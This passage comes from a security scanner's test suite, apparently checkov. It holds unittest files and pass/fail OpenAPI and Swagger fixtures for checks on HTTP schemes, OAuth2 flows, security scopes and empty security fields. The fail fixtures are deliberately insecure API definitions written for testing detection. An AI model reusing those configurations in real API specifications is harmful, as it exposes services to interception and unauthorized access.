format: int32 message: type: string required: - code - message ================================================ FILE: tests/openapi/checks/resource/generic/example_SecurityOperations/fail4.json ================================================ { "openapi": "3.0.0", "info": { "title": "example", "version": "1.0.0" }, "paths": { "/": { "get": { "operationId": "id", "summary": "example", "security": [ { "OAuth2": [ "admin" ] } ], "responses": { "200": { "description": "200 response", "content": { "application/json": { "examples": { "foo": { "value": { "versions": [ { "status": "CURRENT", "updated": "2011-01-21T11:33:21Z", "id": "v2.0", "links": [ { "href": "http://127.0.0.1:8774/v2/", "rel": "self" } ] } ] } } } } } } } }, "patch": { "operationId": "id2", "summary": "example2", "security": [], "responses": { "204": { "description": "204 response" } } } } }, "security": [ { "OAuth2": [ "read" ] } ] } ================================================ FILE: tests/openapi/checks/resource/generic/example_SecurityOperations/fail4.yaml ================================================ openapi: 3.0.0 info: title: example version: 1.0.0 paths: "/": get: operationId: id summary: example security: - OAuth2: - admin responses: '200': description: 200 response content: application/json: examples: foo: value: versions: - status: CURRENT updated: '2011-01-21T11:33:21Z' id: v2.0 links: - href: http://127.0.0.1:8774/v2/ rel: self patch: operationId: id2 summary: example2 security: [] responses: '204': description: 204 response security: - OAuth2: - read ================================================ FILE: tests/openapi/checks/resource/generic/example_SecurityOperations/pass1.json ================================================ { "openapi": "3.0.0", "info": { "title": "example", "version": "1.0.0" }, "paths": { "/": { "get": { "operationId": "id", "summary": "example", "security": [ { "OAuth2": [ "write" ] } ], "responses": { "200": { "description": "200 response", "content": { "application/json": { "examples": { "foo": { "value": { "versions": [ { "status": "CURRENT", "updated": "2011-01-21T11:33:21Z", "id": "v2.0", "links": [ { "href": "http://127.0.0.1:8774/v2/", "rel": "self" } ] } ] } } } } } } } } } }, "security": [ { "OAuth2": [ "read" ] } ] } ================================================ FILE: tests/openapi/checks/resource/generic/example_SecurityOperations/pass1.yaml ================================================ openapi: 3.0.0 info: title: example version: 1.0.0 paths: "/": get: operationId: id summary: example security: - OAuth2: - write responses: "200": description: 200 response content: application/json: examples: foo: value: versions: - status: CURRENT updated: "2011-01-21T11:33:21Z" id: v2.0 links: - href: http://127.0.0.1:8774/v2/ rel: self security: - OAuth2: - read ================================================ FILE: tests/openapi/checks/resource/generic/example_SecurityOperations/pass2.json ================================================ { "openapi": "3.0.0", "info": { "title": "example", "version": "1.0.0", "contact": { "name": "contact", "url": "https://www.google.com/", "email": "user@gmail.com" } }, "paths": { "/": { "get": { "operationId": "id", "summary": "example", "security": [ { "OAuth2": [ "write" ] } ], "responses": { "200": { "description": "200 response", "schema": { "type": "object", "properties": { "code": { "type": "integer", "format": "int32" }, "message": { "type": "string" } }, "required": [ "code", "message" ] } } } } } } } ================================================ FILE: tests/openapi/checks/resource/generic/example_SecurityOperations/pass2.yaml ================================================ openapi: 3.0.0 info: title: example version: 1.0.0 contact: name: contact url: https://www.google.com/ email: user@gmail.com paths: "/": get: operationId: id summary: example security: - OAuth2: - write responses: "200": description: 200 response schema: type: object properties: code: type: integer format: int32 message: type: string required: - code - message ================================================ FILE: tests/openapi/checks/resource/generic/example_SecurityOperations/pass3.json ================================================ { "openapi": "3.0.3", "info": { "title": "example", "version": "1.0.0", "contact": { "name": "contact", "url": "https://www.google.com/", "email": "user@gmail.com" } }, "security": [ { "ApiKeyAuth": [] } ], "paths": { "/": { "get": { "operationId": "id", "summary": "example", "responses": { "200": { "description": "200 response", "schema": { "type": "object", "properties": { "code": { "type": "integer", "format": "int32" }, "message": { "type": "string" } }, "required": [ "code", "message" ] } } } } } }, "components": { "securitySchemes": { "ApiKeyAuth": { "type": "apiKey", "in": "header", "name": "X-API-KEY" } } } } ================================================ FILE: tests/openapi/checks/resource/generic/example_SecurityOperations/pass3.yaml ================================================ openapi: "3.0.3" info: title: example version: 1.0.0 contact: name: contact url: https://www.google.com/ email: user@gmail.com security: - ApiKeyAuth: [] paths: "/": get: operationId: id summary: example responses: "200": description: 200 response schema: type: object properties: code: type: integer format: int32 message: type: string required: - code - message components: securitySchemes: ApiKeyAuth: type: apiKey in: header name: X-API-KEY ================================================ FILE: tests/openapi/checks/resource/generic/test_ClearTextAPIKey.py ================================================ import os import unittest from checkov.openapi.checks.resource.generic.ClearTextAPIKey import check from checkov.openapi.runner import Runner from checkov.runner_filter import RunnerFilter class TestClearTextAPIKey(unittest.TestCase): def test_summary(self): # given current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_ClearTextAPIKey" # when report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) # then summary = report.get_summary() passing_resources = { "/pass.yaml", "/pass.json", "/pass2.yaml", "/pass2.json", "/pass3.yaml", "/pass3.json", "/pass4.yaml", "/pass4.json", "/pass5.yaml", "/pass5.json", "/pass6.yaml", "/pass6.json", } failing_resources = { "/fail.yaml", "/fail.json", "/fail2.yaml", "/fail2.json", "/fail3.yaml", "/fail3.json", "/fail4.yaml", "/fail4.json", "/fail5.yaml", "/fail5.json", } passed_check_resources = {c.file_path for c in report.passed_checks} failed_check_resources = {c.file_path for c in report.failed_checks} self.assertEqual(summary["passed"], len(passing_resources)) self.assertEqual(summary["failed"], len(failing_resources)) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/openapi/checks/resource/generic/test_GlobalSecurityFieldIsEmpty.py ================================================ import os import unittest from checkov.openapi.checks.resource.generic.GlobalSecurityFieldIsEmpty import check from checkov.openapi.runner import Runner from checkov.runner_filter import RunnerFilter class TestGlobalSecurityFieldIsEmpty(unittest.TestCase): def test_summary(self): # given current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_GlobalSecurityFieldIsEmpty" # when report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) # then summary = report.get_summary() passing_resources = { "/pass.yaml", "/pass.json", } failing_resources = { "/fail.yaml", "/fail.json", } passed_check_resources = {c.file_path for c in report.passed_checks} failed_check_resources = {c.file_path for c in report.failed_checks} self.assertEqual(summary["passed"], len(passing_resources)) self.assertEqual(summary["failed"], len(failing_resources)) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/openapi/checks/resource/generic/test_NoMaximumNumberItems.py ================================================ import os import unittest from checkov.openapi.checks.resource.generic.NoMaximumNumberItems import check from checkov.openapi.runner import Runner from checkov.runner_filter import RunnerFilter class TestNoMaximumNumberItems(unittest.TestCase): def test_summary(self): # given current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_NoMaximumNumberItems" # when report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) # then summary = report.get_summary() passing_resources = { "/pass.json", "/pass.yaml", "/pass2.json", "/pass2.yaml", "/pass3.yaml", "/pass3.json", } failing_resources = { "/fail.yaml", "/fail.json", "/fail2.yaml", "/fail2.json", "/fail3.yaml", "/fail3.json", } passed_check_resources = {c.file_path for c in report.passed_checks} failed_check_resources = {c.file_path for c in report.failed_checks} self.assertEqual(summary["passed"], len(passing_resources)) self.assertEqual(summary["failed"], len(failing_resources)) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/openapi/checks/resource/generic/test_SecurityOperations.py ================================================ import os import unittest from checkov.openapi.checks.resource.generic.SecurityOperations import check from checkov.openapi.runner import Runner from checkov.runner_filter import RunnerFilter class TestSecurityOperations(unittest.TestCase): def test_summary(self): # given current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_SecurityOperations" # when report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) # then summary = report.get_summary() passing_resources = { "/pass1.yaml", "/pass1.json", "/pass2.yaml", "/pass2.json", "/pass3.yaml", "/pass3.json", } failing_resources = { "/fail1.yaml", "/fail1.json", "/fail2.yaml", "/fail2.json", "/fail3.yaml", "/fail3.json", "/fail4.yaml", "/fail4.json", } passed_check_resources = {c.file_path for c in report.passed_checks} failed_check_resources = {c.file_path for c in report.failed_checks} self.assertEqual(summary["passed"], len(passing_resources)) self.assertEqual(summary["failed"], len(failing_resources)) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/openapi/checks/resource/v2/__init__.py ================================================ ================================================ FILE: tests/openapi/checks/resource/v2/example_GlobalSchemeDefineHTTP/expected.yaml ================================================ pass: - "pass.yaml" - "pass.json" fail: - "fail.json" - "fail.yaml" ================================================ FILE: tests/openapi/checks/resource/v2/example_GlobalSchemeDefineHTTP/fail.json ================================================ { "swagger": "2.0", "info": { "title": "test", "version": "1.0.0" }, "schemes": [ "http" ] } ================================================ FILE: tests/openapi/checks/resource/v2/example_GlobalSchemeDefineHTTP/fail.yaml ================================================ swagger: "2.0" info: title: test version: 1.0.0 schemes: - http ================================================ FILE: tests/openapi/checks/resource/v2/example_GlobalSchemeDefineHTTP/pass.json ================================================ { "swagger": "2.0", "info": { "title": "test", "version": "1.0.0" }, "schemes": [ "https" ] } ================================================ FILE: tests/openapi/checks/resource/v2/example_GlobalSchemeDefineHTTP/pass.yaml ================================================ swagger: "2.0" info: title: test version: 1.0.0 schemes: - https ================================================ FILE: tests/openapi/checks/resource/v2/example_GlobalSecurityScopeUndefined/expected.yaml ================================================ pass: - "pass1.yaml" - "pass1.json" fail: - "fail1.json" - "fail1.yaml" ================================================ FILE: tests/openapi/checks/resource/v2/example_GlobalSecurityScopeUndefined/fail1.json ================================================ { "swagger": "2.0", "info": { "title": "Simple API Overview", "version": "1.0.0" }, "securityDefinitions": { "some_auth": { "type": "oauth2", "scopes": { "read:api": "read your apis" } } }, "security": [ { "some_auth": [ "read:api", "error:api" ] } ] } ================================================ FILE: tests/openapi/checks/resource/v2/example_GlobalSecurityScopeUndefined/fail1.yaml ================================================ swagger: "2.0" info: title: Simple API Overview version: 1.0.0 securityDefinitions: some_auth: type: oauth2 scopes: read:api: read your apis security: - some_auth: - read:api - error:api ================================================ FILE: tests/openapi/checks/resource/v2/example_GlobalSecurityScopeUndefined/pass1.json ================================================ { "swagger": "2.0", "info": { "title": "Simple API Overview", "version": "1.0.0" }, "securityDefinitions": { "some_auth": { "type": "oauth2", "scopes": { "read:api": "read your apis" } } }, "security": [ { "some_auth": [ "read:api" ] } ] } ================================================ FILE: tests/openapi/checks/resource/v2/example_GlobalSecurityScopeUndefined/pass1.yaml ================================================ swagger: "2.0" info: title: Simple API Overview version: 1.0.0 securityDefinitions: some_auth: type: oauth2 scopes: read:api: read your apis security: - some_auth: - read:api ================================================ FILE: tests/openapi/checks/resource/v2/example_Oauth2OperationObjectPasswordFlow/expected.yaml ================================================ pass: - "pass.yaml" - "pass.json" fail: - "fail.json" - "fail.yaml" ================================================ FILE: tests/openapi/checks/resource/v2/example_Oauth2OperationObjectPasswordFlow/fail.json ================================================ { "swagger": "2.0", "info": { "title": "test", "version": "1.0.0" }, "schemes": [ "https" ], "paths": { "/": { "get": { "operationId": "listVersionsv2", "summary": "List API versions", "responses": { "200": { "description": "200 response" } }, "security": [ { "some_oauth2": [ "write", "read" ] } ] } } }, "securityDefinitions": { "some_oauth2": { "type": "oauth2", "flow": "password", "tokenUrl": "https://api.my.company.com/oauth/token" } } } ================================================ FILE: tests/openapi/checks/resource/v2/example_Oauth2OperationObjectPasswordFlow/fail.yaml ================================================ swagger: "2.0" info: title: test version: 1.0.0 schemes: - https paths: "/": get: operationId: listVersionsv2 summary: List API versions responses: "200": description: 200 response security: - some_oauth2: - write - read securityDefinitions: some_oauth2: type: oauth2 flow: password authorizationUrl: https://api.my.company.com/oauth/authorize tokenUrl: https://api.my.company.com/oauth/token scopes: write:api: modify apis in your account read:api: read your apis ================================================ FILE: tests/openapi/checks/resource/v2/example_Oauth2OperationObjectPasswordFlow/pass.json ================================================ { "swagger": "2.0", "info": { "title": "test", "version": "1.0.0" }, "schemes": [ "https" ], "paths": { "/": { "get": { "operationId": "listVersionsv2", "summary": "List API versions", "responses": { "200": { "description": "200 response" } }, "security": [ { "some_oauth2": [ "write", "read" ] } ] } } }, "securityDefinitions": { "some_oauth2": { "type": "oauth2", "flow": "accessCode", "tokenUrl": "https://api.my.company.com/oauth/token" } } } ================================================ FILE: tests/openapi/checks/resource/v2/example_Oauth2OperationObjectPasswordFlow/pass.yaml ================================================ swagger: "2.0" info: title: test version: 1.0.0 schemes: - https paths: "/": get: operationId: listVersionsv2 summary: List API versions responses: "200": description: 200 response security: - some_oauth2: - write - read securityDefinitions: some_oauth2: type: oauth2 flow: codeAccess authorizationUrl: https://api.my.company.com/oauth/authorize tokenUrl: https://api.my.company.com/oauth/token scopes: write:api: modify apis in your account read:api: read your apis ================================================ FILE: tests/openapi/checks/resource/v2/example_Oauth2SecurityDefinitionImplicitFlow/expected.yaml ================================================ pass: - "pass.yaml" - "pass.json" fail: - "fail.json" - "fail.yaml" ================================================ FILE: tests/openapi/checks/resource/v2/example_Oauth2SecurityDefinitionImplicitFlow/fail.json ================================================ { "swagger": "2.0", "info": { "title": "test", "version": "1.0.0" }, "securityDefinitions": { "some_auth": { "type": "oauth2", "flow": "implicit" } } } ================================================ FILE: tests/openapi/checks/resource/v2/example_Oauth2SecurityDefinitionImplicitFlow/fail.yaml ================================================ swagger: "2.0" info: title: test version: 1.0.0 securityDefinitions: some_auth: type: oauth2 flow: implicit ================================================ FILE: tests/openapi/checks/resource/v2/example_Oauth2SecurityDefinitionImplicitFlow/pass.json ================================================ { "swagger": "2.0", "info": { "title": "test", "version": "1.0.0" }, "securityDefinitions": { "good_auth_1": { "type": "basic" }, "good_auth_2": { "type": "oauth2" }, "good_auth_3": { "type": "oauth2", "flow": "accessCode" } } } ================================================ FILE: tests/openapi/checks/resource/v2/example_Oauth2SecurityDefinitionImplicitFlow/pass.yaml ================================================ swagger: "2.0" info: title: test version: 1.0.0 securityDefinitions: some_auth: type: basic another_auth: type: oauth2 ================================================ FILE: tests/openapi/checks/resource/v2/example_Oauth2SecurityDefinitionPasswordFlow/expected.yaml ================================================ pass: - "pass.yaml" - "pass.json" fail: - "fail.json" - "fail.yaml" ================================================ FILE: tests/openapi/checks/resource/v2/example_Oauth2SecurityDefinitionPasswordFlow/fail.json ================================================ { "swagger": "2.0", "info": { "title": "test", "version": "1.0.0" }, "securityDefinitions": { "some_auth": { "type": "oauth2", "flow": "password" } } } ================================================ FILE: tests/openapi/checks/resource/v2/example_Oauth2SecurityDefinitionPasswordFlow/fail.yaml ================================================ swagger: "2.0" info: title: test version: 1.0.0 securityDefinitions: some_auth: type: oauth2 flow: password ================================================ FILE: tests/openapi/checks/resource/v2/example_Oauth2SecurityDefinitionPasswordFlow/pass.json ================================================ { "swagger": "2.0", "info": { "title": "test", "version": "1.0.0" }, "securityDefinitions": { "good_auth_1": { "type": "basic" }, "good_auth_2": { "type": "oauth2" }, "good_auth_3": { "type": "oauth2", "flow": "accessCode" } } } ================================================ FILE: tests/openapi/checks/resource/v2/example_Oauth2SecurityDefinitionPasswordFlow/pass.yaml ================================================ swagger: "2.0" info: title: test version: 1.0.0 securityDefinitions: some_auth: type: basic another_auth: type: oauth2 ================================================ FILE: tests/openapi/checks/resource/v2/example_Oauth2SecurityPasswordFlow/expected.yaml ================================================ pass: - "pass.yaml" - "pass.json" fail: - "fail.json" - "fail.yaml" ================================================ FILE: tests/openapi/checks/resource/v2/example_Oauth2SecurityPasswordFlow/fail.json ================================================ { "swagger": "2.0", "info": { "title": "test", "version": "1.0.0" }, "security": [ { "some_auth": [ "write:api", "read:api" ] } ], "securityDefinitions": { "some_auth": { "type": "oauth2", "flow": "password" } } } ================================================ FILE: tests/openapi/checks/resource/v2/example_Oauth2SecurityPasswordFlow/fail.yaml ================================================ swagger: "2.0" info: title: test version: 1.0.0 security: - some_auth: - write:api - read:api securityDefinitions: some_auth: type: oauth2 flow: password ================================================ FILE: tests/openapi/checks/resource/v2/example_Oauth2SecurityPasswordFlow/pass.json ================================================ { "swagger": "2.0", "info": { "title": "test", "version": "1.0.0" }, "security": [ { "good_auth_1": [ "write:api" ], "good_auth_2": [ "write:api" ], "good_auth_3": [ "write:api" ] } ], "securityDefinitions": { "good_auth_1": { "type": "basic" }, "good_auth_2": { "type": "oauth2" }, "good_auth_3": { "type": "oauth2", "flow": "accessCode" } } } ================================================ FILE: tests/openapi/checks/resource/v2/example_Oauth2SecurityPasswordFlow/pass.yaml ================================================ swagger: "2.0" info: title: test version: 1.0.0 security: - some_auth: - - another_auth: - securityDefinitions: some_auth: type: basic another_auth: type: oauth2 ================================================ FILE: tests/openapi/checks/resource/v2/example_Oauth2SecurityRequirement/expected.yaml ================================================ pass: - "pass.yaml" - "pass.json" fail: - "fail.json" - "fail.yaml" - "fail2.yaml" ================================================ FILE: tests/openapi/checks/resource/v2/example_Oauth2SecurityRequirement/fail.json ================================================ { "swagger": "2.0", "info": { "title": "test", "version": "1.0.0" }, "security": [ { "some_auth": [ "write:api", "read:api" ] } ], "securityDefinitions": { "some_auth": { "type": "basic" } } } ================================================ FILE: tests/openapi/checks/resource/v2/example_Oauth2SecurityRequirement/fail.yaml ================================================ swagger: "2.0" info: title: test version: 1.0.0 security: - some_auth: - write:api - read:api securityDefinitions: some_auth: type: basic ================================================ FILE: tests/openapi/checks/resource/v2/example_Oauth2SecurityRequirement/fail2.yaml ================================================ swagger: "2.0" info: title: Simple API Overview version: 1.0.0 paths: /: get: operationId: listVersionsv2 summary: List API versions responses: "200": description: Success securityDefinitions: some_auth: type: basic description: For more information, see https://api.my.company.com/docs/oauth flow: authorizationCode authorizationUrl: https://api.my.company.com/oauth/authorize tokenUrl: https://api.my.company.com/oauth/token scopes: read:api: read your apis security: - some_auth: - read:api ================================================ FILE: tests/openapi/checks/resource/v2/example_Oauth2SecurityRequirement/pass.json ================================================ { "swagger": "2.0", "info": { "title": "test", "version": "1.0.0" }, "security": [ { "some_auth": [], "another_auth": [] } ], "securityDefinitions": { "some_auth": { "type": "basic" }, "another_auth": { "type": "oauth2" } } } ================================================ FILE: tests/openapi/checks/resource/v2/example_Oauth2SecurityRequirement/pass.yaml ================================================ swagger: "2.0" info: title: test version: 1.0.0 security: - some_auth: [] - another_auth: [] securityDefinitions: some_auth: type: basic another_auth: type: oauth2 ================================================ FILE: tests/openapi/checks/resource/v2/example_OperationObjectBasicAuth/expected.yaml ================================================ pass: - "pass.yaml" - "pass.json" fail: - "fail.json" - "fail.yaml" ================================================ FILE: tests/openapi/checks/resource/v2/example_OperationObjectBasicAuth/fail.json ================================================ { "swagger": "2.0", "info": { "title": "test", "version": "1.0.0" }, "schemes": [ "https" ], "paths": { "/": { "get": { "operationId": "listVersionsv2", "summary": "List API versions", "responses": { "200": { "description": "200 response" } }, "security": [ { "some_auth": [ "write", "read" ] } ] } } }, "securityDefinitions": { "some_auth": { "type": "basic", "tokenUrl": "https://api.my.company.com/oauth/token" } } } ================================================ FILE: tests/openapi/checks/resource/v2/example_OperationObjectBasicAuth/fail.yaml ================================================ swagger: "2.0" info: title: test version: 1.0.0 schemes: - https paths: "/": get: operationId: listVersionsv2 summary: List API versions responses: "200": description: 200 response security: - some_auth: - write - read securityDefinitions: some_auth: type: basic flow: password authorizationUrl: https://api.my.company.com/oauth/authorize tokenUrl: https://api.my.company.com/oauth/token scopes: write:api: modify apis in your account read:api: read your apis ================================================ FILE: tests/openapi/checks/resource/v2/example_OperationObjectBasicAuth/pass.json ================================================ { "swagger": "2.0", "info": { "title": "test", "version": "1.0.0" }, "schemes": [ "https" ], "paths": { "/": { "get": { "operationId": "listVersionsv2", "summary": "List API versions", "responses": { "200": { "description": "200 response" } }, "security": [ { "some_oauth2": [ "write:api", "read:api" ] } ] } } }, "securityDefinitions": { "some_oauth2": { "type": "oauth2", "flow": "accessCode", "tokenUrl": "https://api.my.company.com/oauth/token" } } } ================================================ FILE: tests/openapi/checks/resource/v2/example_OperationObjectBasicAuth/pass.yaml ================================================ swagger: "2.0" info: title: test version: 1.0.0 schemes: - https paths: "/": get: operationId: listVersionsv2 summary: List API versions responses: "200": description: 200 response security: - some_oauth2: - write:api - read:api securityDefinitions: some_oauth2: type: oauth2 flow: codeAccess authorizationUrl: https://api.my.company.com/oauth/authorize tokenUrl: https://api.my.company.com/oauth/token scopes: write:api: modify apis in your account read:api: read your apis ================================================ FILE: tests/openapi/checks/resource/v2/example_OperationObjectConsumesUndefined/expected.yaml ================================================ pass: - "pass.yaml" - "pass.json" fail: - "fail.json" - "fail.yaml" ================================================ FILE: tests/openapi/checks/resource/v2/example_OperationObjectConsumesUndefined/fail.json ================================================ { "swagger": "2.0", "info": { "title": "test", "version": "1.0.0" }, "schemes": [ "https" ], "paths": { "/": { "patch": { "operationId": "listVersionsv2", "summary": "List API versions", "responses": { "200": { "description": "200 response" } }, "security": [ { "some_auth": [ "write", "read" ] } ] }, "post": { "operationId": "listVersionsv2", "summary": "List API versions", "consumes": [], "responses": { "200": { "description": "200 response" } }, "security": [ { "some_auth": [ "write:api", "read:api" ] } ] } } } } ================================================ FILE: tests/openapi/checks/resource/v2/example_OperationObjectConsumesUndefined/fail.yaml ================================================ swagger: "2.0" info: title: test version: 1.0.0 schemes: - https paths: "/": put: operationId: listVersionsv2 summary: List API versions responses: "200": description: 200 response security: - some_auth: - write:api - read:api ================================================ FILE: tests/openapi/checks/resource/v2/example_OperationObjectConsumesUndefined/pass.json ================================================ { "swagger": "2.0", "info": { "title": "test", "version": "1.0.0" }, "schemes": [ "https" ], "paths": { "/": { "post": { "operationId": "listVersionsv2", "summary": "List API versions", "produces": [ "application/json" ], "consumes": [ "application/x-www-form-urlencoded" ], "responses": { "200": { "description": "200 response" } }, "security": [ { "some_oauth2": [ "write:api", "read:api" ] } ] } } } } ================================================ FILE: tests/openapi/checks/resource/v2/example_OperationObjectConsumesUndefined/pass.yaml ================================================ swagger: "2.0" info: title: test version: 1.0.0 schemes: - https paths: "/": get: operationId: listVersionsv2 summary: List API versions produces: - application/json consumes: - application/x-www-form-urlencoded responses: "200": description: 200 response security: - some_oauth2: - write:api - read:api ================================================ FILE: tests/openapi/checks/resource/v2/example_OperationObjectImplicitFlow/expected.yaml ================================================ pass: - "pass.yaml" - "pass.json" fail: - "fail.json" - "fail.yaml" ================================================ FILE: tests/openapi/checks/resource/v2/example_OperationObjectImplicitFlow/fail.json ================================================ { "swagger": "2.0", "info": { "title": "test", "version": "1.0.0" }, "schemes": [ "https" ], "paths": { "/": { "get": { "operationId": "listVersionsv2", "summary": "List API versions", "responses": { "200": { "description": "200 response" } }, "security": [ { "some_auth": [ "write:api", "read:api" ] } ] } } }, "securityDefinitions": { "some_auth": { "type": "oauth2", "flow": "implicit", "tokenUrl": "https://api.my.company.com/oauth/token" } } } ================================================ FILE: tests/openapi/checks/resource/v2/example_OperationObjectImplicitFlow/fail.yaml ================================================ swagger: "2.0" info: title: test version: 1.0.0 schemes: - https paths: "/": get: operationId: listVersionsv2 summary: List API versions responses: "200": description: 200 response security: - some_auth: - write:api - read:api securityDefinitions: some_auth: type: oauth2 flow: implicit authorizationUrl: https://api.my.company.com/oauth/authorize tokenUrl: https://api.my.company.com/oauth/token scopes: write:api: modify apis in your account read:api: read your apis ================================================ FILE: tests/openapi/checks/resource/v2/example_OperationObjectImplicitFlow/pass.json ================================================ { "swagger": "2.0", "info": { "title": "test", "version": "1.0.0" }, "schemes": [ "https" ], "paths": { "/": { "get": { "operationId": "listVersionsv2", "summary": "List API versions", "responses": { "200": { "description": "200 response" } }, "security": [ { "some_oauth2": [ "write:api", "read:api" ] } ] } } }, "securityDefinitions": { "some_oauth2": { "type": "oauth2", "flow": "accessCode", "tokenUrl": "https://api.my.company.com/oauth/token" } } } ================================================ FILE: tests/openapi/checks/resource/v2/example_OperationObjectImplicitFlow/pass.yaml ================================================ swagger: "2.0" info: title: test version: 1.0.0 schemes: - https paths: "/": get: operationId: listVersionsv2 summary: List API versions responses: "200": description: 200 response security: - some_oauth2: - write:api - read:api securityDefinitions: some_oauth2: type: oauth2 flow: codeAccess authorizationUrl: https://api.my.company.com/oauth/authorize tokenUrl: https://api.my.company.com/oauth/token scopes: write:api: modify apis in your account read:api: read your apis ================================================ FILE: tests/openapi/checks/resource/v2/example_OperationObjectProducesUndefined/expected.yaml ================================================ pass: - "pass.yaml" - "pass.json" fail: - "fail.json" - "fail.yaml" ================================================ FILE: tests/openapi/checks/resource/v2/example_OperationObjectProducesUndefined/fail.json ================================================ { "swagger": "2.0", "info": { "title": "test", "version": "1.0.0" }, "schemes": [ "https" ], "paths": { "/": { "get": { "operationId": "listVersionsv2", "summary": "List API versions", "produces": [], "responses": { "200": { "description": "200 response" } }, "security": [ { "some_auth": [ "write:api", "read:api" ] } ] } } } } ================================================ FILE: tests/openapi/checks/resource/v2/example_OperationObjectProducesUndefined/fail.yaml ================================================ swagger: "2.0" info: title: test version: 1.0.0 schemes: - https paths: "/": get: operationId: listVersionsv2 summary: List API versions responses: "200": description: 200 response security: - some_auth: - write:api - read:api ================================================ FILE: tests/openapi/checks/resource/v2/example_OperationObjectProducesUndefined/pass.json ================================================ { "swagger": "2.0", "info": { "title": "test", "version": "1.0.0" }, "schemes": [ "https" ], "paths": { "/": { "get": { "operationId": "listVersionsv2", "summary": "List API versions", "produces": [ "application/json" ], "responses": { "200": { "description": "200 response" } }, "security": [ { "some_oauth2": [ "write:api", "read:api" ] } ] } } } } ================================================ FILE: tests/openapi/checks/resource/v2/example_OperationObjectProducesUndefined/pass.yaml ================================================ swagger: "2.0" info: title: test version: 1.0.0 schemes: - https paths: "/": get: operationId: listVersionsv2 summary: List API versions produces: - application/json responses: "200": description: 200 response security: - some_oauth2: - write:api - read:api ================================================ FILE: tests/openapi/checks/resource/v2/example_OperationObjectSecurityScopeUndefined/expected.yaml ================================================ pass: - "pass1.yaml" - "pass1.json" - "pass2.yaml" - "pass2.json" fail: - "fail1.json" - "fail1.yaml" ================================================ FILE: tests/openapi/checks/resource/v2/example_OperationObjectSecurityScopeUndefined/fail1.json ================================================ { "swagger": "2.0", "info": { "title": "Simple API Overview", "version": "1.0.0" }, "paths": { "/": { "get": { "operationId": "listVersionsv2", "summary": "List API versions", "security": [ { "some_auth": [ "read:api", "error:api" ] } ], "responses": { "200": { "description": "Success" } } } } }, "securityDefinitions": { "some_auth": { "type": "oauth2", "scopes": { "read:api": "read your apis" } } } } ================================================ FILE: tests/openapi/checks/resource/v2/example_OperationObjectSecurityScopeUndefined/fail1.yaml ================================================ swagger: "2.0" info: title: Simple API Overview version: 1.0.0 paths: /: get: operationId: listVersionsv2 summary: List API versions security: - some_auth: - read:api responses: "200": description: Success securityDefinitions: different_name_auth: type: oauth2 scopes: read:api: read your apis ================================================ FILE: tests/openapi/checks/resource/v2/example_OperationObjectSecurityScopeUndefined/pass1.json ================================================ { "swagger": "2.0", "info": { "title": "Simple API Overview", "version": "1.0.0" }, "paths": { "/": { "get": { "operationId": "listVersionsv2", "summary": "List API versions", "security": [ { "some_auth": [ "read:api" ] } ], "responses": { "200": { "description": "Success" } } } } }, "securityDefinitions": { "some_auth": { "type": "oauth2", "scopes": { "read:api": "read your apis" } } } } ================================================ FILE: tests/openapi/checks/resource/v2/example_OperationObjectSecurityScopeUndefined/pass1.yaml ================================================ swagger: "2.0" info: title: Simple API Overview version: 1.0.0 paths: /: get: operationId: listVersionsv2 summary: List API versions security: - some_auth: - read:api responses: "200": description: Success securityDefinitions: some_auth: type: oauth2 scopes: read:api: read your apis ================================================ FILE: tests/openapi/checks/resource/v2/example_OperationObjectSecurityScopeUndefined/pass2.json ================================================ { "swagger": "2.0", "info": { "title": "Simple API Overview", "version": "1.0.0" }, "paths": { "/": { "get": { "operationId": "listVersionsv2", "summary": "List API versions", "security": [ { "some_auth": [] } ], "responses": { "200": { "description": "Success" } } } } }, "securityDefinitions": { "some_auth": { "type": "apiKey" } } } ================================================ FILE: tests/openapi/checks/resource/v2/example_OperationObjectSecurityScopeUndefined/pass2.yaml ================================================ swagger: "2.0" info: title: Simple API Overview version: 1.0.0 paths: /: get: operationId: listVersionsv2 summary: List API versions security: - some_auth: [] responses: "200": description: Success securityDefinitions: some_auth: type: apiKey ================================================ FILE: tests/openapi/checks/resource/v2/example_PathSchemeDefineHTTP/expected.yaml ================================================ pass: - "pass.yaml" - "pass2.yaml" - "pass.json" fail: - "fail.json" - "fail.yaml" ================================================ FILE: tests/openapi/checks/resource/v2/example_PathSchemeDefineHTTP/fail.json ================================================ { "swagger": "2.0", "info": { "title": "test_fail", "version": "1.0.0" }, "paths": { "/": { "get": { "operationId": "example", "summary": "example", "schemes": [ "http" ], "responses": { "200": { "description": "200 response" } } } } } } ================================================ FILE: tests/openapi/checks/resource/v2/example_PathSchemeDefineHTTP/fail.yaml ================================================ swagger: "2.0" info: title: test_fail version: 1.0.0 paths: "/": get: operationId: example summary: example schemes: - http responses: "200": description: 200 response ================================================ FILE: tests/openapi/checks/resource/v2/example_PathSchemeDefineHTTP/pass.json ================================================ { "swagger": "2.0", "info": { "title": "test_pass", "version": "1.0.0" }, "paths": { "/": { "get": { "operationId": "example", "summary": "example", "schemes": [ "https" ], "responses": { "200": { "description": "200 response" } } } } } } ================================================ FILE: 